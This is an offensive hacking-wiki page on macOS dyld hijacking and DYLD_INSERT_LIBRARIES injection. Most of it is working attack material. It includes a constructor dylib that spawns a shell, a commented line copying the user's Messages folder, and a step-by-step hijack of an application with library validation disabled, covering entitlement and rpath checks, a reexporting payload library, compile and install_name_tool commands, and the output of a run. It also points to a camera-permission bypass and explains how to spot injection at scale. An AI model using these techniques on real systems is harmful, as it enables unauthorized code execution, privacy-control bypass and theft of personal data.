macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES

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DYLD_INSERT_LIBRARIES Basic example

Library to inject to execute a shell:

// gcc -dynamiclib -o inject.dylib inject.c

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor))

void myconstructor(int argc, const char **argv)
{
    syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
    printf("[+] dylib injected in %s\n", argv[0]);
    execv("/bin/bash", 0);
    //system("cp -r ~/Library/Messages/ /tmp/Messages/");
}

Binary to attack:

// gcc hello.c -o hello
#include <stdio.h>

int main()
{
    printf("Hello, World!\n");
    return 0;
}

Injection:

DYLD_INSERT_LIBRARIES=inject.dylib ./hello

Dyld Hijacking Example

The targeted vulnerable binary is /Applications/VulnDyld.app/Contents/Resources/lib/binary.

entitlements

codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
[...]com.apple.security.cs.disable-library-validation[...]

LC_RPATH

# Check where are the @rpath locations
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
          cmd LC_RPATH
      cmdsize 32
         path @loader_path/. (offset 12)
--
          cmd LC_RPATH
      cmdsize 32
         path @loader_path/../lib2 (offset 12)

@rpath

# Check librareis loaded using @rapth and the used versions
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
         name @rpath/lib.dylib (offset 24)
   time stamp 2 Thu Jan  1 01:00:02 1970
      current version 1.0.0
compatibility version 1.0.0
# Check the versions

With the previous info we know that it's not checking the signature of the loaded libraries and it's trying to load a library from:

• /Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib

• /Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib

However, the first one doesn't exist:

pwd
/Applications/VulnDyld.app

find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib

So, it's possible to hijack it! Create a library that executes some arbitrary code and exports the same functionalities as the legit library by reexporting it. And remember to compile it with the expected versions:

lib.m

#import <Foundation/Foundation.h>

__attribute__((constructor))
void custom(int argc, const char **argv) {
    NSLog(@"[+] dylib hijacked in %s", argv[0]);
}

Compile it:

gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport

The reexport path created in the library is relative to the loader, lets change it for an absolute path to the library to export:

#Check relative
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
         cmd LC_REEXPORT_DYLIB
         cmdsize 48
         name @rpath/libjli.dylib (offset 24)

#Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib

# Check again
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
          cmd LC_REEXPORT_DYLIB
      cmdsize 128
         name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)

Finally just copy it to the hijacked location:

cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"

And execute the binary and check the library was loaded:

"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
Usage: [...]

A nice writeup about how to abuse this vulnerability to abuse the camera permissions of telegram can be found in https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/

Bigger Scale

If you are planing on trying to inject libraries in unexpected binaries you could check the event messages to find out when the library is loaded inside a process (in this case remove the printf and the /bin/bash execution).

sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'

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• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.